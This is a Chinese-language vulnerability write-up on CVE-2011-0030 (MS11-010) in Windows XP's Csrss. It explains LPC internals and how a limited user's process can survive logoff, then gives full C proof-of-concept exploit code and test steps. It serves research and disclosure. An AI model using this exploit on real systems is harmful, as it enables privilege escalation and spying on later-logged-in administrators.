CVE-2011-0030 ( MS11-010 )

【注意!】
此漏洞不具有直接危害性,仅供个人学习研究调试,大牛飘过~~

 

 

1. 漏洞概述

在通常情况下,当一个用户退出时,运行在该用户下的进程都将被终止。但是我们在研究过程中发现,能够在受限用户下运行特制的程序,在该受限用户退出的时候,所运行的特制的程序不会被终止,将继续在系统中运行。当管理员用户或者其他高权限用户登录时,该特制的程序能进行枚举窗口、记录键盘信息、进行截屏等一系列操作,因此能够造成权限提升。

本文所分析的操作系统为Windows XP Professional SP3,已经更新截至2010年9月29日微软发布的所有补丁。该漏洞位于CSRSrv.DLL中,版本号为:5.1.2600.5915 (xpsp_sp3_gdr.091211-1412)。

2. 原理

2.1. Windows LPC通信机制

LPC(Local Inter-Process Communication)是一种高效的进程间通信机制,在Windows 2000、XP、2003操作系统中普通使用,能用于用户态程序之间、用户态程序与驱动、驱动与驱动间的通信。使用LPC通信的基本步骤如下:

① 服务端调用NtCreatePort函数创建一个连接端口;

② 服务端通过NtListenPort函数监听所创建的连接端口,获取新的连接请求,必须始终有一个线程在这个端口上等待;

③ 客户端调用NtConnectPort或者NtSecureConnectPort连接到服务端在步骤1中所创建的连接端口;

④ 服务端分析连接请求,通过调用NtAcceptConnectPort和NtCompleteConnectPort确定接收客户端的连接,并创建一个对应的通信端口,客户端和服务端都将通过这个通信端口来通信;

⑤ 服务器启动一个循环,通过NtReplyWaitReceivePort来接收客户端的消息,处理消息后调用NtReplyPort回复客户端;

⑥ 客户端调用NtRequestWaitReplyPort 发送一个新的请求到服务端,等待服务端处理。在此过程中,客户端线程将阻塞,直到收到服务端的回复。

LPC消息结构体如下所示:

typedef struct LpcMessage
{
    WORD          ActualMessageLength;
    WORD          TotalMessageLength;
    DWORD        MessageType;
    DWORD        ClientProcessId;
    DWORD        ClientThreadId;
    DWORD        MessageId;
    DWORD        SharedSectionSize;
    BYTE            MessageData[MAX_MESSAGE_DATA];
} LPCMESSAGE, *PLPCMESSAGE;

结构体LPCMESSAGE的成员MessageType指定了LPC消息的类型,有如下几类:

typedef enum _LPC_MSG_TYPE

{

LPC_NEW_MSG,

LPC_REQUEST,

LPC_REPLY,

LPC_DATAGRAM,

LPC_LOST_REPLY,

LPC_PORT_CLOSED,

LPC_CLIENT_DIED,

LPC_EXCEPTION,

LPC_DEBUG_EVENT,

LPC_ERROR_EVENT,

LPC_CONNECTION_REQUEST,

} LPC_MSG_TYPE;

消息类型由系统设置,以下是一些比较重要的类型:

① LPC_REQUEST 当客户端使用 NtRequestWaitReplyPort() 函数发送请求时,服务端接收此消息。

② LPC_REPLY 当服务器回复此请求时,客户从 NtRequestWaitReplyPort() 函数接收此类消息。

③ LPC_PORT_CLOSED 当客户端关闭端口句柄时,服务端接收此消息。

④ LPC_CLIENT_DIED 当客户端退出时,服务端接受此程序。

⑤ LPC_CONNECTION_REQUEST 当客户端调用NtConnectPort或者NtSecureConnectPort连接端口时,相应的服务端接收此消息。

2.2. Csrss

Csrss(客户端/服务器运行时子系统)是 Win32 子系统的用户模式部分,在桌面管理、终端登录、控制台管理、错误报告报告和DOS虚拟机等方面起着重要作用,另外还监控着系统内所有Win32 子系统进程和线程的运行,进程的创建与退出,都需要通知Csrss。

CSRSrv.DLL由Csrss.exe加载,是Csrss.exe的核心模块。在CSRSrv.dll 里面有一个未导出符号叫做 CsrRootProcess,指向一个 CSR_PROCESS 结构,该结构如下所示: 

typedef struct _CSR_PROCESS
{
    CLIENT_ID    ClientId;
    LIST_ENTRY    ListLink;
    LIST_ENTRY   ThreadList;
    struct _CSR_PROCESS    *Parent;
    PCSR_NT_SESSION    NtSession;
    ULONG    ExpectedVersion;
    HANDLE    ClientPort;
    ULONG_PTR    ClientViewBase;
    ULONG_PTR    ClientViewBounds;
    HANDLE    ProcessHandle;
    ULONG    SequenceNumber;
    UChar    Flags[4];
    ULONG    DebugFlags;
    CLIENT_ID    DebugCid;
    ULONG    ReferenceCount;
    ULONG    ProcessGroupId;
    ULONG    ProcessGroupSequence;
    ULONG    fVDM;
    ULONG    ThreadCount;
    ULONG    PriorityClass;
    ULONG    Reserved;
    ULONG    ShutdownLevel;
    ULONG    ShutdownFlags;
    PVOID    ServerData[ANYSIZE_ARRAY];
} CSR_PROCESS, *PCSR_PROCESS;

每一个进程都对应着一个CSR_PROCESS结构体,所有进程的CSR_PROCESS结构体通过成员struct _LIST_ENTRY ListLink构成了一个链表,通过CsrRootProcess可以遍历这个链表。当一个进程创建时,Csrss.exe会新建一个CSR_PROCESS结构体,加入到这个链表中;当一个进程退出时,Csrss.exe会将该进程对应的CSR_PROCESS结构体从链表中删除。

在CSRSrv.dll 里面另外还有一个未导出符号CsrThreadHashTable,它是一个有 256 个元素的数组,每一个元素都指向一个 CSR_THREAD 结构,该结构如下所示:

typedef struct _CSR_THREAD
{
    union _LARGE_INTEGER        CreateTime;
    struct _LIST_ENTRY               Link;
    struct _LIST_ENTRY               HashLinks;
    struct _CLIENT_ID                  ClientId;
    struct _CSR_PROCESS*           Process;
    struct _CSR_WAIT_BLOCK*    WaitBlock;
    void*                                ThreadHandle;
    unsigned long                    Flags;
    unsigned long                    ReferenceCount;
    unsigned long                    ImpersonateCount;
} CSR_THREAD, *PCSR_THREAD; 

每个线程都对应着一个CSR_THREAD结构,成员struct _CSR_PROCESS* Process指向该线程所属进程对应的CSR_PROCESS结构。一个进程所有线程对应的 CSR_THREAD通过成员struct _LIST_ENTRY Link构成了一个链表,该链表表头为CSR_PROCESS.ThreadList
2.3. Win32 子系统进程与CSRSS的通信

Csrss建立了一个名为/Windows/ApiPort的LPC端口,在进程创建的时候,必须连接这个端口通知Csrss。在进程正常运行中,某些函数(例如与控制台相关的一些函数)的底层实现也将通过ApiPort端口与Csrss通信,完成特定的操作。

在Csrss中,对ApiPort端口所接收到的LPC消息的处理,主要是由csrsrv.dll中的CsrApiRequestThread函数完成。CsrApiRequestThread函数调用NtReplyWaitReceivePort接收消息,根据消息的类型执行特定的操作。

LPCMESSAGE结构体ClientProcessId、ClientThreadId成员记录了发送消息进程的PID和TID,CsrApiRequestThread函数调用CsrLocateThreadByClientId函数,由LPCMESSAGE结构体ClientProcessId、ClientThreadId确定发送消息进程的CSR_PROCESS结构体和线程的 CSR_THREAD结构体。

除开csrsrv.dll之外,Csrss还加载了basesrv.dll、winsrv.dll,这三个dll是Csrss的核心模块。Csrsrv.dll提供了一个CsrServerApiDispatchTable函数分发表,basesrv.dll提供了BaseServerApiDispatchTable函数分发表,winsrv.dll提供了UserServerApiDispatchTable、ConsoleServerApiDispatchTable两个函数分发表,这四个分发表中包含大量的函数,如下图所示:

 

在进程调用四个分发表中的函数时,其消息类型为LPC_REQUEST,并且在LPC消息偏移0x1C处指定了一个DWORD值,高16位指定是哪个分发表,低16位为分发表中函数的索引值,CsrApiRequestThread函数根据这个值调用四个分发表中对应的函数。。

四个分发表序号如下:

CsrServerApiDispatchTable:0

BaseServerApiDispatchTable:1

ConsoleServerApiDispatchTable:2

UserServerApiDispatchTable:3

例如,如果某进程需要调用UserServerApiDispatchTable中的SrvEndTask函数,由于UserServerApiDispatchTable序号为3,SrvEndTask函数在UserServerApiDispatchTable分发表中索引为1,那么该值就是0x30001。

3. 漏洞分析

在上文中提到,Csrss中保存了Win32 子系统进程的信息,这些信息保存在名为CsrRootProcess的链表中,我们在研究中发现,在Windows XP、2003中,如果将进程的CSR_PROCESS从CsrRootProcess链表中摘除,那么在用户退出时,该进程不会被终止。但Csrss.exe以SYSTEM权限运行,对于普通用户,无法直接读写Csrss.exe的内存修改数据。

在正常情况下,当一个进程退出时,它的信息理所当然应该从CsrRootProcess链表中摘除。我们编写了一个普通的应用程序test.exe,它什么也没做,我们跟踪它的退出流程,希望能找到它的信息是如何从CsrRootProcess链表中摘除的。test.exe代码如下所示:

#include <Windows.h>

#include <stdio.h>

void main()

{

}

3.1. ApiPort的连接

在test.exe进程创建的时候,将会连接Csrss建立的ApiPort端口,传递给Csrss的LPC消息类型为LPC_CONNECTION_REQUEST(0xA)。在CsrApiRequestThread函数中处理该类型消息所调用的函数为CsrApiHandleConnectionRequest,它的大概工作流程如下:

① 调用CsrSrvAttachSharedSection函数,在它内部调用NtMapViewOfSection将名为CsrSrvSharedSection的共享内存区映射到进程地址空间中。如果映射成功,则返回0,否则则返回NtMapViewOfSection的出错状态;

② 如果CsrSrvAttachSharedSection返回0,在调用NtAcceptConnectPort时将创建一个通信端口,将该通信端口的句柄填充到CSR_PROCESS结构体的HANDLE ClientPort成员;

③ 在创建通信端口成功的情况下,调用NtCompleteConnectPort完成连接。并将CSR_PROCESS.Flags[1]第6比特置为1,反汇编代码如下所示:

 

3.2. ExitProcess函数分析

在Windows系统中,当进程结束时,都将调用到ExitProcess函数,ExitProcess函数位于kernel32.dll中(文件版本号为:5.1.2600.5781 (xpsp_sp3_gdr.090321-1317) ),它进一步调用位于地址0x7C81CA6C处的_ExitProcess函数,该函数在地址0x7C81CAC3处调用CsrClientCallServer函数。

 

CsrClientCallServer函数是ntdll.dll的一个导出函数,内部将调用NtRequestWaitReplyPort函数向ApiPort端口发送LPC消息。在地址0x7C81CAB6处的push 10003h做为CsrClientCallServer函数的第三个参数,将填充到LPC消息偏移0x1C处,根据“2.3 Win32 子系统进程与CSRSS的通信”的分析,0x10003对应了BaseServerApiDispatchTable分发表中的索引值为3的函数,即BaseSrvExitProcess函数。当CsrClientCallServer返回时,test.exe对应的CSR_PROCESS结构体中的引用计数为1(CSR_PROCESS.ReferenceCount = 1),此时还没有从CsrRootProcess链表中摘除。

3.3. BaseSrvExitProcess、CsrDereferenceThread函数分析

BaseSrvExitProcess是在CsrApiRequestThread函数中调用的,BaseSrvExitProcess返回后,进程CSR_PROCESS的引用计数为2。接下来会调用CsrDereferenceThread,使test.exe发送LPC消息的线程CSR_THREAD引用计数减一,为0,此时将调用CsrThreadRefcountZero函数,它将调用CsrRemoveThread、CsrDeallocateProcess、CsrDereferenceProcess三个函数。这三个函数的功能如下:

① CsrRemoveThread函数从CsrThreadHashTable数组中移除线程CSR_THREAD信息;从CsrThreadHashTable数组中移除线程信息,将线程所属进程的线程计数减一,如果进程的线程计数为0,并且CSR_PROCESS.Flags[1]第6比特为0则调用CsrLockedDereferenceProcess函数;

② CsrDeallocateProcess释放线程CSR_THREAD占据的内存空间,该函数也可以用于释放CSR_PROCESS占据的内存空间;

③ CsrDereferenceProcess与CsrLockedDereferenceProcess函数功能相似,都是将进程CSR_PROCESS的引用计数减一,如果为0,则调用CsrProcessRefcountZero函数,并进一步调用CsrRemoveProcess函数从CsrRootProcess链表中摘除进程的CSR_PROCESS结构;

3.4. ApiPort的关闭

接下来将执行0x7C81CACC处的NtTerminateProcess函数,test.exe进程在这里被终止,它在创建的时候连接的ApiPort端口将被系统自动关闭,此时系统将会向Csrss发送一个类型为LPC_PORT_CLOSED(0x5)的消息。在CsrApiRequestThread函数中处理该类型消息有两处代码,一处是从0x75AA4769开始的代码:

这一处的代码在系统关闭ApiPort端口时执行,此时进程CSR_PROCESS的线程计数已为0,但引用计数为1,进程中已经没有了活动线程,CsrLocateThreadByClientId函数返回值为0。接下来将调用CsrLockedDereferenceProcess函数,test.exe对应的CSR_PROCESS的引用计数将减1,变为0,此时将会调用CsrProcessRefcountZero函数,进而调用CsrRemoveProcess函数将test.exe的CSR_PROCESS从CsrRootProcess链表中摘除。

另一处是从地址0x75AA4918开始的代码:

这一处的代码在CsrLocateThreadByClientId函数返回值不为0的时候执行,此时进程CSR_PROCESS的线程计数不为0,即进程中仍然存在有线程。

我们注意到在地址0x75AA4780和地址0x75AA491B处有一句代码:and byte ptr [eax+39h], 0DFh,这条语句的作用是将CSR_PROCESS.Flags[1]第6比特置为0。

3.5. 漏洞利用思路

通过调试,并综合上文的分析,我们可以得出这样的结论:

① 任何用户的进程都可以调用CsrClientCallServer函数,设置第三个参数为0x10003,可以调用BaseSrvExitProcess函数,在BaseSrvExitProcess函数返回后,进程CSR_PROCESS的引用计数为2;

② 紧接着在调用CsrDereferenceThread时,如果CSR_PROCESS.Flags[1]第6比特为0,我们能调用CsrLockedDereferenceProcess函数、CsrDereferenceProcess函数各一次,进程CSR_PROCESS的引用计数将减为0;

③ 进程CSR_PROCESS的引用计数为0时,将调用CsrRemoveProcess函数从CsrRootProcess链表中摘除。

④ 关闭端口时,可以将CSR_PROCESS.Flags[1]第6比特置为0;

我们只需要先执行第④步,然后再激活BaseSrvExitProcess函数,就可以实现进程CSR_PROCESS结构的摘除!

具体的利用思路如下:

① 在进程正常运行的情况下,调用NtSecureConnectPort函数连接ApiPort端口,建立第二次连接;

② 调用CloseHandle函数关闭第二次连接的ApiPort端口句柄,这样就能激活CsrApiRequestThread函数中0x75AA4918开始的代码,执行地址0x75AA491B处的代码:and byte ptr [eax+39h], 0DFh后,进程的CSR_PROCESS.Flags[1]第6比特会置为0;

③ 调用CreateThread新建一个线程,在新建的线程中调用CsrClientCallServer函数,第三个参数设为0x10003,激活BaseSrvExitProcess函数,实现进程CSR_PROCESS结构的摘除;

④ 进入睡眠,等待管理员用户或者其他高权限用户登录,可以进行枚举窗口、记录键盘信息、进行截屏等一系列操作。

在编写攻击代码时,需要注意以下两个问题:

① 在进程创建时必须连接ApiPort端口,共享内存区CsrSrvSharedSection将被映射到进程地址空间。在第二次连接ApiPort端口前,必须调用NtUnmapViewOfSection释放这个内存区,否则在Csrss处理连接请求时,调用NtMapViewOfSection函数会出错,将无法建立连接;

② 在建立第二次ApiPort端口连接后,Csrss会把新建立的通信端口句柄填充到进程CSR_PROCESS结构体的HANDLE ClientPort成员,在回复客户端进程时,使用的是新建立的通信端口句柄。由于我们需要在客户端进程中先关闭新建立的通信端口,然后才调用CsrClientCallServer函数,CsrClientCallServer函数利用进程创建时的ApiPort句柄向Csrss发送消息,Csrss在调用NtReplyPort函数回复消息时,使用的是新建立的通信端口句柄,但这个通信句柄被我们关闭了,所以NtReplyPort函数将返回错误,客户端进程调用CsrClientCallServer函数的线程也将一直阻塞,无法继续运行。所以需要新建一个新线程,在这个新线程中调用CsrClientCallServer函数,激活BaseSrvExitProcess函数,新线程阻塞,但主线程仍然可以继续工作。

4. 攻击代码

/*
 * 作者:KiDebug
 * 空间:http://hi.baidu.com/KiDebug/
 */

 

#include <stdio.h>
#include <windows.h>

typedef struct LpcMessage
{
    WORD    ActualMessageLength;
    WORD    TotalMessageLength;
    DWORD    MessageType;
    DWORD    ClientProcessId;
    DWORD    ClientThreadId;
    DWORD    MessageId;
    DWORD    SharedSectionSize;
    BYTE    MessageData[20];
} LPCMESSAGE, *PLPCMESSAGE;

typedef struct LpcSectionInfo
{
    DWORD    Length;
    HANDLE    SectionHandle;
    DWORD    Param1;
    DWORD    SectionSize;
    DWORD    ClientBaseAddress;
    DWORD    ServerBaseAddress;
} LPCSECTIONINFO, *PLPCSECTIONINFO;

typedef struct LpcSectionMapInfo
{
    DWORD    Length;
    DWORD    SectionSize;
    DWORD    ServerBaseAddress;
} LPCSECTIONMAPINFO, *PLPCSECTIONMAPINFO;

typedef struct _UNICODE_STRING
{
    USHORT    Length;
    USHORT    MaximumLength;
    PWSTR    Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef VOID (__stdcall *NtRequestWaitReplyPort_)(
    HANDLE            u1,
    PLPCMESSAGE        u2,
    PLPCMESSAGE        u3 );

typedef DWORD (__stdcall *NtSecureConnectPort_)(
    PHANDLE                PortHandle,
    PUNICODE_STRING        PortName,
    PVOID                Unknown1,
    ULONG                u2,
    PSID                RequiredServerSid,
    PLPCSECTIONMAPINFO    mapInfo,
    PVOID                Unknown2,
    PVOID                ConnectInfo,
    PDWORD                pConnectInfoLength);

typedef VOID (__stdcall *NtUnmapViewOfSection_)(
    HANDLE        h,
    PVOID        BaseAddress );

typedef VOID (__stdcall *CsrClientCallServer_)( PDWORD u1,DWORD u2,DWORD u3,DWORD u4 );

HMODULE        ntdll;

NtRequestWaitReplyPort_        NtRequestWaitReplyPort;
NtSecureConnectPort_        NtSecureConnectPort;
NtUnmapViewOfSection_        NtUnmapViewOfSection;


DWORD WINAPI ThreadProc(  )
{
    ULONG        retValue=0;
    CsrClientCallServer_ CsrClientCallServer;
    CsrClientCallServer    =    (CsrClientCallServer_)GetProcAddress( ntdll, "CsrClientCallServer" );
    CsrClientCallServer(&retValue,0,0x10003,4);                //一直在等待,不返回
    return 0;
}


void main()
{
    ntdll    =    GetModuleHandle(L"ntdll.dll");
    NtRequestWaitReplyPort    =    (NtRequestWaitReplyPort_)GetProcAddress( ntdll, "NtRequestWaitReplyPort" );
    NtSecureConnectPort        =    (NtSecureConnectPort_)GetProcAddress( ntdll, "NtSecureConnectPort" );
    NtUnmapViewOfSection    =    (NtUnmapViewOfSection_)GetProcAddress( ntdll, "NtUnmapViewOfSection" );

    HANDLE    handle;
    static int Param3;
    DWORD ConnectDataBuffer[6] = {0, 1, 2, 3, 4, 5};
    DWORD Size = sizeof(ConnectDataBuffer);

    //ApiPort
    WCHAR    *port=L"//Windows//ApiPort";
    UNICODE_STRING uString;
    uString.Buffer            =    port;
    uString.Length            =    wcslen(port)*2;
    uString.MaximumLength    =    wcslen(port)*2;

    LPCSECTIONMAPINFO mapInfo;
    memset(&mapInfo,0,sizeof(LPCSECTIONMAPINFO));
    mapInfo.Length=sizeof(LPCSECTIONMAPINFO);

    //建立System SID
    SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
    PSID pSid;
    memset(&IdentifierAuthority,0,sizeof(SID_IDENTIFIER_AUTHORITY));
    IdentifierAuthority.Value[5]=5;
    AllocateAndInitializeSid(&IdentifierAuthority,1,0x12,0,0,0,0,0,0,0,&pSid);

    //Unmap Section,以便重连ApiPort
    NtUnmapViewOfSection(GetCurrentProcess(),(PVOID)0x7f6f0000);

    //重连ApiPort
    NtSecureConnectPort(&handle, &uString, (PVOID)&Param3, 0, pSid,&mapInfo, 0, (PVOID)ConnectDataBuffer, &Size);

    //关闭ApiPort,去掉0x39处的2
    CloseHandle(handle);
    FreeSid(pSid);

    DWORD lpThreadId;
    CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,NULL,&lpThreadId);

    Sleep(60000);
    MessageBoxA(NULL,"ddd","ddd",MB_OK);
}

代码验证步骤:

① 编译代码,生成exploit.exe程序;

② 更新截至2010年9月29日微软发布的所有补丁;

③ 建立一普通用户

④ 以普通用户登录,运行exploit.exe程序;

⑤ 退出,以管理员用户登录,稍等片刻即可显示由exploit.exe程序弹出的对话框。可以在任务管理器中查看到由普通用户运行的exploit.exe程序。

5. 修补建议

在CsrApiHandleConnectionRequest函数处理ApiPort的连接请求时,首先判断进程是否建立过连接,可以通过CSR_PROCESS.ClientPort判断。如果该成员为空,说明没有建立过ApiPort连接,接收连接请求;如果该成员不为空,说明已经建立过ApiPort连接,新的连接请求不会被接收。这样就确保进程从创建到退出,只有一个ApiPort的连接,上述攻击代码也将失效。

 

【背景(可以略过)】
去年的这个时候我只会点C,汇编就知道mov,后来花了两个月时间,按网上大牛们的文章自己敲代码做了个ARK,算是入了点门。在做ARK时,知道CSRSS里面有CsrRootProcess这条链表,可以用来查进程,调试的时候在WinDBG中手动对一个进程脱链,发现用户注销后,这个进程没被自动终结,当时也没在意。7月份分析MS10-059时,意识到了LPC/ALPC的存在。9月份看到MS10-011时,觉得可以深入了解下CsrRootProcess和LPC,于是拿WinDBG调、拿IDA看汇编。看到存在有两处and byte ptr [eax+39h], 0DFh指令时,觉得MS10-011是可以绕过的。从开始接触到MS10-011到写出绕过补丁的代码,花了4天的时间。当从admin登入后,在任务管理器里面看到普通用户下的进程依然存在时,激动了很久,咱也要受微软“公开致谢”了。。。这是我第一次发现漏洞,对我来说意义很大。虽然这个漏洞不具有直接危害,但用来练习下WinDBG调试和汇编倒是不错的。

【鸣谢】
感谢j00ru!

【参考资料】
LPC:
1.对于LPC通信机制,可以访问j00ru的博客:http://j00ru.vexillium.org/,里面讲得很详细;
2.Undocumented Windows NT.chm;
3.WRK
CsrRootProcess:http://forum.sysinternals.com/forum_posts.asp?TID=15457

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值